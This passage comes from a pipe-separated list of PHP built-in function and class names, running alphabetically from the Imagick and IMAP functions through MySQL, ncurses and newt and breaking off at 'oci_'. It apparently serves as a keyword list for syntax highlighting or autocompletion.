frameimage|imagick_fximage|imagick_gammaimage|imagick_gaussianblurimage|imagick_getcolorspace|imagick_getcompression|imagick_getcompressionquality|imagick_getcopyright|imagick_getfilename|imagick_getfont|imagick_getformat|imagick_getgravity|imagick_gethomeurl|imagick_getimage|imagick_getimagealphachannel|imagick_getimageartifact|imagick_getimagebackgroundcolor|imagick_getimageblob|imagick_getimageblueprimary|imagick_getimagebordercolor|imagick_getimagechanneldepth|imagick_getimagechanneldistortion|imagick_getimagechanneldistortions|imagick_getimagechannelextrema|imagick_getimagechannelmean|imagick_getimagechannelrange|imagick_getimagechannelstatistics|imagick_getimageclipmask|imagick_getimagecolormapcolor|imagick_getimagecolors|imagick_getimagecolorspace|imagick_getimagecompose|imagick_getimagecompression|imagick_getimagecompressionquality|imagick_getimagedelay|imagick_getimagedepth|imagick_getimagedispose|imagick_getimagedistortion|imagick_getimageextrema|imagick_getimagefilename|imagick_getimageformat|imagick_getimagegamma|imagick_getimagegeometry|imagick_getimagegravity|imagick_getimagegreenprimary|imagick_getimageheight|imagick_getimagehistogram|imagick_getimageindex|imagick_getimageinterlacescheme|imagick_getimageinterpolatemethod|imagick_getimageiterations|imagick_getimagelength|imagick_getimagemagicklicense|imagick_getimagematte|imagick_getimagemattecolor|imagick_getimageorientation|imagick_getimagepage|imagick_getimagepixelcolor|imagick_getimageprofile|imagick_getimageprofiles|imagick_getimageproperties|imagick_getimageproperty|imagick_getimageredprimary|imagick_getimageregion|imagick_getimagerenderingintent|imagick_getimageresolution|imagick_getimagesblob|imagick_getimagescene|imagick_getimagesignature|imagick_getimagesize|imagick_getimagetickspersecond|imagick_getimagetotalinkdensity|imagick_getimagetype|imagick_getimageunits|imagick_getimagevirtualpixelmethod|imagick_getimagewhitepoint|imagick_getimagewidth|imagick_getinterlacescheme|imagick_getiteratorindex|imagick_getnumberimages|imagick_getoption|imagick_getpackagename|imagick_getpage|imagick_getpixeliterator|imagick_getpixelregioniterator|imagick_getpointsize|imagick_getquantumdepth|imagick_getquantumrange|imagick_getreleasedate|imagick_getresource|imagick_getresourcelimit|imagick_getsamplingfactors|imagick_getsize|imagick_getsizeoffset|imagick_getversion|imagick_hasnextimage|imagick_haspreviousimage|imagick_identifyimage|imagick_implodeimage|imagick_labelimage|imagick_levelimage|imagick_linearstretchimage|imagick_liquidrescaleimage|imagick_magnifyimage|imagick_mapimage|imagick_mattefloodfillimage|imagick_medianfilterimage|imagick_mergeimagelayers|imagick_minifyimage|imagick_modulateimage|imagick_montageimage|imagick_morphimages|imagick_mosaicimages|imagick_motionblurimage|imagick_negateimage|imagick_newimage|imagick_newpseudoimage|imagick_nextimage|imagick_normalizeimage|imagick_oilpaintimage|imagick_opaquepaintimage|imagick_optimizeimagelayers|imagick_orderedposterizeimage|imagick_paintfloodfillimage|imagick_paintopaqueimage|imagick_painttransparentimage|imagick_pingimage|imagick_pingimageblob|imagick_pingimagefile|imagick_polaroidimage|imagick_posterizeimage|imagick_previewimages|imagick_previousimage|imagick_profileimage|imagick_quantizeimage|imagick_quantizeimages|imagick_queryfontmetrics|imagick_queryfonts|imagick_queryformats|imagick_radialblurimage|imagick_raiseimage|imagick_randomthresholdimage|imagick_readimage|imagick_readimageblob|imagick_readimagefile|imagick_recolorimage|imagick_reducenoiseimage|imagick_removeimage|imagick_removeimageprofile|imagick_render|imagick_resampleimage|imagick_resetimagepage|imagick_resizeimage|imagick_rollimage|imagick_rotateimage|imagick_roundcorners|imagick_sampleimage|imagick_scaleimage|imagick_separateimagechannel|imagick_sepiatoneimage|imagick_setbackgroundcolor|imagick_setcolorspace|imagick_setcompression|imagick_setcompressionquality|imagick_setfilename|imagick_setfirstiterator|imagick_setfont|imagick_setformat|imagick_setgravity|imagick_setimage|imagick_setimagealphachannel|imagick_setimageartifact|imagick_setimagebackgroundcolor|imagick_setimagebias|imagick_setimageblueprimary|imagick_setimagebordercolor|imagick_setimagechanneldepth|imagick_setimageclipmask|imagick_setimagecolormapcolor|imagick_setimagecolorspace|imagick_setimagecompose|imagick_setimagecompression|imagick_setimagecompressionquality|imagick_setimagedelay|imagick_setimagedepth|imagick_setimagedispose|imagick_setimageextent|imagick_setimagefilename|imagick_setimageformat|imagick_setimagegamma|imagick_setimagegravity|imagick_setimagegreenprimary|imagick_setimageindex|imagick_setimageinterlacescheme|imagick_setimageinterpolatemethod|imagick_setimageiterations|imagick_setimagematte|imagick_setimagemattecolor|imagick_setimageopacity|imagick_setimageorientation|imagick_setimagepage|imagick_setimageprofile|imagick_setimageproperty|imagick_setimageredprimary|imagick_setimagerenderingintent|imagick_setimageresolution|imagick_setimagescene|imagick_setimagetickspersecond|imagick_setimagetype|imagick_setimageunits|imagick_setimagevirtualpixelmethod|imagick_setimagewhitepoint|imagick_setinterlacescheme|imagick_setiteratorindex|imagick_setlastiterator|imagick_setoption|imagick_setpage|imagick_setpointsize|imagick_setresolution|imagick_setresourcelimit|imagick_setsamplingfactors|imagick_setsize|imagick_setsizeoffset|imagick_settype|imagick_shadeimage|imagick_shadowimage|imagick_sharpenimage|imagick_shaveimage|imagick_shearimage|imagick_sigmoidalcontrastimage|imagick_sketchimage|imagick_solarizeimage|imagick_spliceimage|imagick_spreadimage|imagick_steganoimage|imagick_stereoimage|imagick_stripimage|imagick_swirlimage|imagick_textureimage|imagick_thresholdimage|imagick_thumbnailimage|imagick_tintimage|imagick_transformimage|imagick_transparentpaintimage|imagick_transposeimage|imagick_transverseimage|imagick_trimimage|imagick_uniqueimagecolors|imagick_unsharpmaskimage|imagick_valid|imagick_vignetteimage|imagick_waveimage|imagick_whitethresholdimage|imagick_writeimage|imagick_writeimagefile|imagick_writeimages|imagick_writeimagesfile|imagickdraw|imagickdraw_affine|imagickdraw_annotation|imagickdraw_arc|imagickdraw_bezier|imagickdraw_circle|imagickdraw_clear|imagickdraw_clone|imagickdraw_color|imagickdraw_comment|imagickdraw_composite|imagickdraw_construct|imagickdraw_destroy|imagickdraw_ellipse|imagickdraw_getclippath|imagickdraw_getcliprule|imagickdraw_getclipunits|imagickdraw_getfillcolor|imagickdraw_getfillopacity|imagickdraw_getfillrule|imagickdraw_getfont|imagickdraw_getfontfamily|imagickdraw_getfontsize|imagickdraw_getfontstyle|imagickdraw_getfontweight|imagickdraw_getgravity|imagickdraw_getstrokeantialias|imagickdraw_getstrokecolor|imagickdraw_getstrokedasharray|imagickdraw_getstrokedashoffset|imagickdraw_getstrokelinecap|imagickdraw_getstrokelinejoin|imagickdraw_getstrokemiterlimit|imagickdraw_getstrokeopacity|imagickdraw_getstrokewidth|imagickdraw_gettextalignment|imagickdraw_gettextantialias|imagickdraw_gettextdecoration|imagickdraw_gettextencoding|imagickdraw_gettextundercolor|imagickdraw_getvectorgraphics|imagickdraw_line|imagickdraw_matte|imagickdraw_pathclose|imagickdraw_pathcurvetoabsolute|imagickdraw_pathcurvetoquadraticbezierabsolute|imagickdraw_pathcurvetoquadraticbezierrelative|imagickdraw_pathcurvetoquadraticbeziersmoothabsolute|imagickdraw_pathcurvetoquadraticbeziersmoothrelative|imagickdraw_pathcurvetorelative|imagickdraw_pathcurvetosmoothabsolute|imagickdraw_pathcurvetosmoothrelative|imagickdraw_pathellipticarcabsolute|imagickdraw_pathellipticarcrelative|imagickdraw_pathfinish|imagickdraw_pathlinetoabsolute|imagickdraw_pathlinetohorizontalabsolute|imagickdraw_pathlinetohorizontalrelative|imagickdraw_pathlinetorelative|imagickdraw_pathlinetoverticalabsolute|imagickdraw_pathlinetoverticalrelative|imagickdraw_pathmovetoabsolute|imagickdraw_pathmovetorelative|imagickdraw_pathstart|imagickdraw_point|imagickdraw_polygon|imagickdraw_polyline|imagickdraw_pop|imagickdraw_popclippath|imagickdraw_popdefs|imagickdraw_poppattern|imagickdraw_push|imagickdraw_pushclippath|imagickdraw_pushdefs|imagickdraw_pushpattern|imagickdraw_rectangle|imagickdraw_render|imagickdraw_rotate|imagickdraw_roundrectangle|imagickdraw_scale|imagickdraw_setclippath|imagickdraw_setcliprule|imagickdraw_setclipunits|imagickdraw_setfillalpha|imagickdraw_setfillcolor|imagickdraw_setfillopacity|imagickdraw_setfillpatternurl|imagickdraw_setfillrule|imagickdraw_setfont|imagickdraw_setfontfamily|imagickdraw_setfontsize|imagickdraw_setfontstretch|imagickdraw_setfontstyle|imagickdraw_setfontweight|imagickdraw_setgravity|imagickdraw_setstrokealpha|imagickdraw_setstrokeantialias|imagickdraw_setstrokecolor|imagickdraw_setstrokedasharray|imagickdraw_setstrokedashoffset|imagickdraw_setstrokelinecap|imagickdraw_setstrokelinejoin|imagickdraw_setstrokemiterlimit|imagickdraw_setstrokeopacity|imagickdraw_setstrokepatternurl|imagickdraw_setstrokewidth|imagickdraw_settextalignment|imagickdraw_settextantialias|imagickdraw_settextdecoration|imagickdraw_settextencoding|imagickdraw_settextundercolor|imagickdraw_setvectorgraphics|imagickdraw_setviewbox|imagickdraw_skewx|imagickdraw_skewy|imagickdraw_translate|imagickpixel|imagickpixel_clear|imagickpixel_construct|imagickpixel_destroy|imagickpixel_getcolor|imagickpixel_getcolorasstring|imagickpixel_getcolorcount|imagickpixel_getcolorvalue|imagickpixel_gethsl|imagickpixel_issimilar|imagickpixel_setcolor|imagickpixel_setcolorvalue|imagickpixel_sethsl|imagickpixeliterator|imagickpixeliterator_clear|imagickpixeliterator_construct|imagickpixeliterator_destroy|imagickpixeliterator_getcurrentiteratorrow|imagickpixeliterator_getiteratorrow|imagickpixeliterator_getnextiteratorrow|imagickpixeliterator_getpreviousiteratorrow|imagickpixeliterator_newpixeliterator|imagickpixeliterator_newpixelregioniterator|imagickpixeliterator_resetiterator|imagickpixeliterator_setiteratorfirstrow|imagickpixeliterator_setiteratorlastrow|imagickpixeliterator_setiteratorrow|imagickpixeliterator_synciterator|imap_8bit|imap_alerts|imap_append|imap_base64|imap_binary|imap_body|imap_bodystruct|imap_check|imap_clearflag_full|imap_close|imap_create|imap_createmailbox|imap_delete|imap_deletemailbox|imap_errors|imap_expunge|imap_fetch_overview|imap_fetchbody|imap_fetchheader|imap_fetchmime|imap_fetchstructure|imap_fetchtext|imap_gc|imap_get_quota|imap_get_quotaroot|imap_getacl|imap_getmailboxes|imap_getsubscribed|imap_header|imap_headerinfo|imap_headers|imap_last_error|imap_list|imap_listmailbox|imap_listscan|imap_listsubscribed|imap_lsub|imap_mail|imap_mail_compose|imap_mail_copy|imap_mail_move|imap_mailboxmsginfo|imap_mime_header_decode|imap_msgno|imap_num_msg|imap_num_recent|imap_open|imap_ping|imap_qprint|imap_rename|imap_renamemailbox|imap_reopen|imap_rfc822_parse_adrlist|imap_rfc822_parse_headers|imap_rfc822_write_address|imap_savebody|imap_scan|imap_scanmailbox|imap_search|imap_set_quota|imap_setacl|imap_setflag_full|imap_sort|imap_status|imap_subscribe|imap_thread|imap_timeout|imap_uid|imap_undelete|imap_unsubscribe|imap_utf7_decode|imap_utf7_encode|imap_utf8|implementsinterface|implode|import_request_variables|in_array|include|include_once|inclued_get_data|inet_ntop|inet_pton|infiniteiterator|ingres_autocommit|ingres_autocommit_state|ingres_charset|ingres_close|ingres_commit|ingres_connect|ingres_cursor|ingres_errno|ingres_error|ingres_errsqlstate|ingres_escape_string|ingres_execute|ingres_fetch_array|ingres_fetch_assoc|ingres_fetch_object|ingres_fetch_proc_return|ingres_fetch_row|ingres_field_length|ingres_field_name|ingres_field_nullable|ingres_field_precision|ingres_field_scale|ingres_field_type|ingres_free_result|ingres_next_error|ingres_num_fields|ingres_num_rows|ingres_pconnect|ingres_prepare|ingres_query|ingres_result_seek|ingres_rollback|ingres_set_environment|ingres_unbuffered_query|ini_alter|ini_get|ini_get_all|ini_restore|ini_set|innamespace|inotify_add_watch|inotify_init|inotify_queue_len|inotify_read|inotify_rm_watch|interface_exists|intl_error_name|intl_get_error_code|intl_get_error_message|intl_is_failure|intldateformatter|intval|invalidargumentexception|invoke|invokeargs|ip2long|iptcembed|iptcparse|is_a|is_array|is_bool|is_callable|is_dir|is_double|is_executable|is_file|is_finite|is_float|is_infinite|is_int|is_integer|is_link|is_long|is_nan|is_null|is_numeric|is_object|is_readable|is_real|is_resource|is_scalar|is_soap_fault|is_string|is_subclass_of|is_uploaded_file|is_writable|is_writeable|isabstract|iscloneable|isdisabled|isfinal|isinstance|isinstantiable|isinterface|isinternal|isiterateable|isset|issubclassof|isuserdefined|iterator|iterator_apply|iterator_count|iterator_to_array|iteratoraggregate|iteratoriterator|java_last_exception_clear|java_last_exception_get|jddayofweek|jdmonthname|jdtofrench|jdtogregorian|jdtojewish|jdtojulian|jdtounix|jewishtojd|join|jpeg2wbmp|json_decode|json_encode|json_last_error|jsonserializable|judy|judy_type|judy_version|juliantojd|kadm5_chpass_principal|kadm5_create_principal|kadm5_delete_principal|kadm5_destroy|kadm5_flush|kadm5_get_policies|kadm5_get_principal|kadm5_get_principals|kadm5_init_with_password|kadm5_modify_principal|key|krsort|ksort|lcfirst|lcg_value|lchgrp|lchown|ldap_8859_to_t61|ldap_add|ldap_bind|ldap_close|ldap_compare|ldap_connect|ldap_count_entries|ldap_delete|ldap_dn2ufn|ldap_err2str|ldap_errno|ldap_error|ldap_explode_dn|ldap_first_attribute|ldap_first_entry|ldap_first_reference|ldap_free_result|ldap_get_attributes|ldap_get_dn|ldap_get_entries|ldap_get_option|ldap_get_values|ldap_get_values_len|ldap_list|ldap_mod_add|ldap_mod_del|ldap_mod_replace|ldap_modify|ldap_next_attribute|ldap_next_entry|ldap_next_reference|ldap_parse_reference|ldap_parse_result|ldap_read|ldap_rename|ldap_sasl_bind|ldap_search|ldap_set_option|ldap_set_rebind_proc|ldap_sort|ldap_start_tls|ldap_t61_to_8859|ldap_unbind|lengthexception|levenshtein|libxml_clear_errors|libxml_disable_entity_loader|libxml_get_errors|libxml_get_last_error|libxml_set_streams_context|libxml_use_internal_errors|libxmlerror|limititerator|link|linkinfo|list|locale|localeconv|localtime|log|log10|log1p|logicexception|long2ip|lstat|ltrim|lzf_compress|lzf_decompress|lzf_optimized_for|m_checkstatus|m_completeauthorizations|m_connect|m_connectionerror|m_deletetrans|m_destroyconn|m_destroyengine|m_getcell|m_getcellbynum|m_getcommadelimited|m_getheader|m_initconn|m_initengine|m_iscommadelimited|m_maxconntimeout|m_monitor|m_numcolumns|m_numrows|m_parsecommadelimited|m_responsekeys|m_responseparam|m_returnstatus|m_setblocking|m_setdropfile|m_setip|m_setssl|m_setssl_cafile|m_setssl_files|m_settimeout|m_sslcert_gen_hash|m_transactionssent|m_transinqueue|m_transkeyval|m_transnew|m_transsend|m_uwait|m_validateidentifier|m_verifyconnection|m_verifysslcert|magic_quotes_runtime|mail|mailparse_determine_best_xfer_encoding|mailparse_msg_create|mailparse_msg_extract_part|mailparse_msg_extract_part_file|mailparse_msg_extract_whole_part_file|mailparse_msg_free|mailparse_msg_get_part|mailparse_msg_get_part_data|mailparse_msg_get_structure|mailparse_msg_parse|mailparse_msg_parse_file|mailparse_rfc822_parse_addresses|mailparse_stream_encode|mailparse_uudecode_all|main|max|maxdb_affected_rows|maxdb_autocommit|maxdb_bind_param|maxdb_bind_result|maxdb_change_user|maxdb_character_set_name|maxdb_client_encoding|maxdb_close|maxdb_close_long_data|maxdb_commit|maxdb_connect|maxdb_connect_errno|maxdb_connect_error|maxdb_data_seek|maxdb_debug|maxdb_disable_reads_from_master|maxdb_disable_rpl_parse|maxdb_dump_debug_info|maxdb_embedded_connect|maxdb_enable_reads_from_master|maxdb_enable_rpl_parse|maxdb_errno|maxdb_error|maxdb_escape_string|maxdb_execute|maxdb_fetch|maxdb_fetch_array|maxdb_fetch_assoc|maxdb_fetch_field|maxdb_fetch_field_direct|maxdb_fetch_fields|maxdb_fetch_lengths|maxdb_fetch_object|maxdb_fetch_row|maxdb_field_count|maxdb_field_seek|maxdb_field_tell|maxdb_free_result|maxdb_get_client_info|maxdb_get_client_version|maxdb_get_host_info|maxdb_get_metadata|maxdb_get_proto_info|maxdb_get_server_info|maxdb_get_server_version|maxdb_info|maxdb_init|maxdb_insert_id|maxdb_kill|maxdb_master_query|maxdb_more_results|maxdb_multi_query|maxdb_next_result|maxdb_num_fields|maxdb_num_rows|maxdb_options|maxdb_param_count|maxdb_ping|maxdb_prepare|maxdb_query|maxdb_real_connect|maxdb_real_escape_string|maxdb_real_query|maxdb_report|maxdb_rollback|maxdb_rpl_parse_enabled|maxdb_rpl_probe|maxdb_rpl_query_type|maxdb_select_db|maxdb_send_long_data|maxdb_send_query|maxdb_server_end|maxdb_server_init|maxdb_set_opt|maxdb_sqlstate|maxdb_ssl_set|maxdb_stat|maxdb_stmt_affected_rows|maxdb_stmt_bind_param|maxdb_stmt_bind_result|maxdb_stmt_close|maxdb_stmt_close_long_data|maxdb_stmt_data_seek|maxdb_stmt_errno|maxdb_stmt_error|maxdb_stmt_execute|maxdb_stmt_fetch|maxdb_stmt_free_result|maxdb_stmt_init|maxdb_stmt_num_rows|maxdb_stmt_param_count|maxdb_stmt_prepare|maxdb_stmt_reset|maxdb_stmt_result_metadata|maxdb_stmt_send_long_data|maxdb_stmt_sqlstate|maxdb_stmt_store_result|maxdb_store_result|maxdb_thread_id|maxdb_thread_safe|maxdb_use_result|maxdb_warning_count|mb_check_encoding|mb_convert_case|mb_convert_encoding|mb_convert_kana|mb_convert_variables|mb_decode_mimeheader|mb_decode_numericentity|mb_detect_encoding|mb_detect_order|mb_encode_mimeheader|mb_encode_numericentity|mb_encoding_aliases|mb_ereg|mb_ereg_match|mb_ereg_replace|mb_ereg_search|mb_ereg_search_getpos|mb_ereg_search_getregs|mb_ereg_search_init|mb_ereg_search_pos|mb_ereg_search_regs|mb_ereg_search_setpos|mb_eregi|mb_eregi_replace|mb_get_info|mb_http_input|mb_http_output|mb_internal_encoding|mb_language|mb_list_encodings|mb_output_handler|mb_parse_str|mb_preferred_mime_name|mb_regex_encoding|mb_regex_set_options|mb_send_mail|mb_split|mb_strcut|mb_strimwidth|mb_stripos|mb_stristr|mb_strlen|mb_strpos|mb_strrchr|mb_strrichr|mb_strripos|mb_strrpos|mb_strstr|mb_strtolower|mb_strtoupper|mb_strwidth|mb_substitute_character|mb_substr|mb_substr_count|mcrypt_cbc|mcrypt_cfb|mcrypt_create_iv|mcrypt_decrypt|mcrypt_ecb|mcrypt_enc_get_algorithms_name|mcrypt_enc_get_block_size|mcrypt_enc_get_iv_size|mcrypt_enc_get_key_size|mcrypt_enc_get_modes_name|mcrypt_enc_get_supported_key_sizes|mcrypt_enc_is_block_algorithm|mcrypt_enc_is_block_algorithm_mode|mcrypt_enc_is_block_mode|mcrypt_enc_self_test|mcrypt_encrypt|mcrypt_generic|mcrypt_generic_deinit|mcrypt_generic_end|mcrypt_generic_init|mcrypt_get_block_size|mcrypt_get_cipher_name|mcrypt_get_iv_size|mcrypt_get_key_size|mcrypt_list_algorithms|mcrypt_list_modes|mcrypt_module_close|mcrypt_module_get_algo_block_size|mcrypt_module_get_algo_key_size|mcrypt_module_get_supported_key_sizes|mcrypt_module_is_block_algorithm|mcrypt_module_is_block_algorithm_mode|mcrypt_module_is_block_mode|mcrypt_module_open|mcrypt_module_self_test|mcrypt_ofb|md5|md5_file|mdecrypt_generic|memcache|memcache_debug|memcached|memory_get_peak_usage|memory_get_usage|messageformatter|metaphone|method_exists|mhash|mhash_count|mhash_get_block_size|mhash_get_hash_name|mhash_keygen_s2k|microtime|mime_content_type|min|ming_keypress|ming_setcubicthreshold|ming_setscale|ming_setswfcompression|ming_useconstants|ming_useswfversion|mkdir|mktime|money_format|mongo|mongobindata|mongocode|mongocollection|mongoconnectionexception|mongocursor|mongocursorexception|mongocursortimeoutexception|mongodate|mongodb|mongodbref|mongoexception|mongogridfs|mongogridfscursor|mongogridfsexception|mongogridfsfile|mongoid|mongoint32|mongoint64|mongomaxkey|mongominkey|mongoregex|mongotimestamp|move_uploaded_file|mpegfile|mqseries_back|mqseries_begin|mqseries_close|mqseries_cmit|mqseries_conn|mqseries_connx|mqseries_disc|mqseries_get|mqseries_inq|mqseries_open|mqseries_put|mqseries_put1|mqseries_set|mqseries_strerror|msession_connect|msession_count|msession_create|msession_destroy|msession_disconnect|msession_find|msession_get|msession_get_array|msession_get_data|msession_inc|msession_list|msession_listvar|msession_lock|msession_plugin|msession_randstr|msession_set|msession_set_array|msession_set_data|msession_timeout|msession_uniq|msession_unlock|msg_get_queue|msg_queue_exists|msg_receive|msg_remove_queue|msg_send|msg_set_queue|msg_stat_queue|msql|msql_affected_rows|msql_close|msql_connect|msql_create_db|msql_createdb|msql_data_seek|msql_db_query|msql_dbname|msql_drop_db|msql_error|msql_fetch_array|msql_fetch_field|msql_fetch_object|msql_fetch_row|msql_field_flags|msql_field_len|msql_field_name|msql_field_seek|msql_field_table|msql_field_type|msql_fieldflags|msql_fieldlen|msql_fieldname|msql_fieldtable|msql_fieldtype|msql_free_result|msql_list_dbs|msql_list_fields|msql_list_tables|msql_num_fields|msql_num_rows|msql_numfields|msql_numrows|msql_pconnect|msql_query|msql_regcase|msql_result|msql_select_db|msql_tablename|mssql_bind|mssql_close|mssql_connect|mssql_data_seek|mssql_execute|mssql_fetch_array|mssql_fetch_assoc|mssql_fetch_batch|mssql_fetch_field|mssql_fetch_object|mssql_fetch_row|mssql_field_length|mssql_field_name|mssql_field_seek|mssql_field_type|mssql_free_result|mssql_free_statement|mssql_get_last_message|mssql_guid_string|mssql_init|mssql_min_error_severity|mssql_min_message_severity|mssql_next_result|mssql_num_fields|mssql_num_rows|mssql_pconnect|mssql_query|mssql_result|mssql_rows_affected|mssql_select_db|mt_getrandmax|mt_rand|mt_srand|multipleiterator|mysql_affected_rows|mysql_client_encoding|mysql_close|mysql_connect|mysql_create_db|mysql_data_seek|mysql_db_name|mysql_db_query|mysql_drop_db|mysql_errno|mysql_error|mysql_escape_string|mysql_fetch_array|mysql_fetch_assoc|mysql_fetch_field|mysql_fetch_lengths|mysql_fetch_object|mysql_fetch_row|mysql_field_flags|mysql_field_len|mysql_field_name|mysql_field_seek|mysql_field_table|mysql_field_type|mysql_free_result|mysql_get_client_info|mysql_get_host_info|mysql_get_proto_info|mysql_get_server_info|mysql_info|mysql_insert_id|mysql_list_dbs|mysql_list_fields|mysql_list_processes|mysql_list_tables|mysql_num_fields|mysql_num_rows|mysql_pconnect|mysql_ping|mysql_query|mysql_real_escape_string|mysql_result|mysql_select_db|mysql_set_charset|mysql_stat|mysql_tablename|mysql_thread_id|mysql_unbuffered_query|mysqli|mysqli_bind_param|mysqli_bind_result|mysqli_client_encoding|mysqli_connect|mysqli_disable_reads_from_master|mysqli_disable_rpl_parse|mysqli_driver|mysqli_enable_reads_from_master|mysqli_enable_rpl_parse|mysqli_escape_string|mysqli_execute|mysqli_fetch|mysqli_get_metadata|mysqli_master_query|mysqli_param_count|mysqli_report|mysqli_result|mysqli_rpl_parse_enabled|mysqli_rpl_probe|mysqli_rpl_query_type|mysqli_send_long_data|mysqli_send_query|mysqli_set_opt|mysqli_slave_query|mysqli_stmt|mysqli_warning|mysqlnd_ms_get_stats|mysqlnd_ms_query_is_select|mysqlnd_ms_set_user_pick_server|mysqlnd_qc_change_handler|mysqlnd_qc_clear_cache|mysqlnd_qc_get_cache_info|mysqlnd_qc_get_core_stats|mysqlnd_qc_get_handler|mysqlnd_qc_get_query_trace_log|mysqlnd_qc_set_user_handlers|natcasesort|natsort|ncurses_addch|ncurses_addchnstr|ncurses_addchstr|ncurses_addnstr|ncurses_addstr|ncurses_assume_default_colors|ncurses_attroff|ncurses_attron|ncurses_attrset|ncurses_baudrate|ncurses_beep|ncurses_bkgd|ncurses_bkgdset|ncurses_border|ncurses_bottom_panel|ncurses_can_change_color|ncurses_cbreak|ncurses_clear|ncurses_clrtobot|ncurses_clrtoeol|ncurses_color_content|ncurses_color_set|ncurses_curs_set|ncurses_def_prog_mode|ncurses_def_shell_mode|ncurses_define_key|ncurses_del_panel|ncurses_delay_output|ncurses_delch|ncurses_deleteln|ncurses_delwin|ncurses_doupdate|ncurses_echo|ncurses_echochar|ncurses_end|ncurses_erase|ncurses_erasechar|ncurses_filter|ncurses_flash|ncurses_flushinp|ncurses_getch|ncurses_getmaxyx|ncurses_getmouse|ncurses_getyx|ncurses_halfdelay|ncurses_has_colors|ncurses_has_ic|ncurses_has_il|ncurses_has_key|ncurses_hide_panel|ncurses_hline|ncurses_inch|ncurses_init|ncurses_init_color|ncurses_init_pair|ncurses_insch|ncurses_insdelln|ncurses_insertln|ncurses_insstr|ncurses_instr|ncurses_isendwin|ncurses_keyok|ncurses_keypad|ncurses_killchar|ncurses_longname|ncurses_meta|ncurses_mouse_trafo|ncurses_mouseinterval|ncurses_mousemask|ncurses_move|ncurses_move_panel|ncurses_mvaddch|ncurses_mvaddchnstr|ncurses_mvaddchstr|ncurses_mvaddnstr|ncurses_mvaddstr|ncurses_mvcur|ncurses_mvdelch|ncurses_mvgetch|ncurses_mvhline|ncurses_mvinch|ncurses_mvvline|ncurses_mvwaddstr|ncurses_napms|ncurses_new_panel|ncurses_newpad|ncurses_newwin|ncurses_nl|ncurses_nocbreak|ncurses_noecho|ncurses_nonl|ncurses_noqiflush|ncurses_noraw|ncurses_pair_content|ncurses_panel_above|ncurses_panel_below|ncurses_panel_window|ncurses_pnoutrefresh|ncurses_prefresh|ncurses_putp|ncurses_qiflush|ncurses_raw|ncurses_refresh|ncurses_replace_panel|ncurses_reset_prog_mode|ncurses_reset_shell_mode|ncurses_resetty|ncurses_savetty|ncurses_scr_dump|ncurses_scr_init|ncurses_scr_restore|ncurses_scr_set|ncurses_scrl|ncurses_show_panel|ncurses_slk_attr|ncurses_slk_attroff|ncurses_slk_attron|ncurses_slk_attrset|ncurses_slk_clear|ncurses_slk_color|ncurses_slk_init|ncurses_slk_noutrefresh|ncurses_slk_refresh|ncurses_slk_restore|ncurses_slk_set|ncurses_slk_touch|ncurses_standend|ncurses_standout|ncurses_start_color|ncurses_termattrs|ncurses_termname|ncurses_timeout|ncurses_top_panel|ncurses_typeahead|ncurses_ungetch|ncurses_ungetmouse|ncurses_update_panels|ncurses_use_default_colors|ncurses_use_env|ncurses_use_extended_names|ncurses_vidattr|ncurses_vline|ncurses_waddch|ncurses_waddstr|ncurses_wattroff|ncurses_wattron|ncurses_wattrset|ncurses_wborder|ncurses_wclear|ncurses_wcolor_set|ncurses_werase|ncurses_wgetch|ncurses_whline|ncurses_wmouse_trafo|ncurses_wmove|ncurses_wnoutrefresh|ncurses_wrefresh|ncurses_wstandend|ncurses_wstandout|ncurses_wvline|newinstance|newinstanceargs|newt_bell|newt_button|newt_button_bar|newt_centered_window|newt_checkbox|newt_checkbox_get_value|newt_checkbox_set_flags|newt_checkbox_set_value|newt_checkbox_tree|newt_checkbox_tree_add_item|newt_checkbox_tree_find_item|newt_checkbox_tree_get_current|newt_checkbox_tree_get_entry_value|newt_checkbox_tree_get_multi_selection|newt_checkbox_tree_get_selection|newt_checkbox_tree_multi|newt_checkbox_tree_set_current|newt_checkbox_tree_set_entry|newt_checkbox_tree_set_entry_value|newt_checkbox_tree_set_width|newt_clear_key_buffer|newt_cls|newt_compact_button|newt_component_add_callback|newt_component_takes_focus|newt_create_grid|newt_cursor_off|newt_cursor_on|newt_delay|newt_draw_form|newt_draw_root_text|newt_entry|newt_entry_get_value|newt_entry_set|newt_entry_set_filter|newt_entry_set_flags|newt_finished|newt_form|newt_form_add_component|newt_form_add_components|newt_form_add_hot_key|newt_form_destroy|newt_form_get_current|newt_form_run|newt_form_set_background|newt_form_set_height|newt_form_set_size|newt_form_set_timer|newt_form_set_width|newt_form_watch_fd|newt_get_screen_size|newt_grid_add_components_to_form|newt_grid_basic_window|newt_grid_free|newt_grid_get_size|newt_grid_h_close_stacked|newt_grid_h_stacked|newt_grid_place|newt_grid_set_field|newt_grid_simple_window|newt_grid_v_close_stacked|newt_grid_v_stacked|newt_grid_wrapped_window|newt_grid_wrapped_window_at|newt_init|newt_label|newt_label_set_text|newt_listbox|newt_listbox_append_entry|newt_listbox_clear|newt_listbox_clear_selection|newt_listbox_delete_entry|newt_listbox_get_current|newt_listbox_get_selection|newt_listbox_insert_entry|newt_listbox_item_count|newt_listbox_select_item|newt_listbox_set_current|newt_listbox_set_current_by_key|newt_listbox_set_data|newt_listbox_set_entry|newt_listbox_set_width|newt_listitem|newt_listitem_get_data|newt_listitem_set|newt_open_window|newt_pop_help_line|newt_pop_window|newt_push_help_line|newt_radio_get_current|newt_radiobutton|newt_redraw_help_line|newt_reflow_text|newt_refresh|newt_resize_screen|newt_resume|newt_run_form|newt_scale|newt_scale_set|newt_scrollbar_set|newt_set_help_callback|newt_set_suspend_callback|newt_suspend|newt_textbox|newt_textbox_get_num_lines|newt_textbox_reflowed|newt_textbox_set_height|newt_textbox_set_text|newt_vertical_scrollbar|newt_wait_for_key|newt_win_choice|newt_win_entries|newt_win_menu|newt_win_message|newt_win_messagev|newt_win_ternary|next|ngettext|nl2br|nl_langinfo|norewinditerator|normalizer|notes_body|notes_copy_db|notes_create_db|notes_create_note|notes_drop_db|notes_find_note|notes_header_info|notes_list_msgs|notes_mark_read|notes_mark_unread|notes_nav_create|notes_search|notes_unread|notes_version|nsapi_request_headers|nsapi_response_headers|nsapi_virtual|nthmac|number_format|numberformatter|oauth|oauth_get_sbs|oauth_urlencode|oauthexception|oauthprovider|ob_clean|ob_deflatehandler|ob_end_clean|ob_end_flush|ob_etaghandler|ob_flush|ob_get_clean|ob_get_contents|ob_get_flush|ob_get_length|ob_get_level|ob_get_status|ob_gzhandler|ob_iconv_handler|ob_implicit_flush|ob_inflatehandler|ob_list_handlers|ob_start|ob_tidyhandler|oci_bind_array_by_name|oci_bind_by_name|oci_cancel|oci_client_version|oci_close|oci_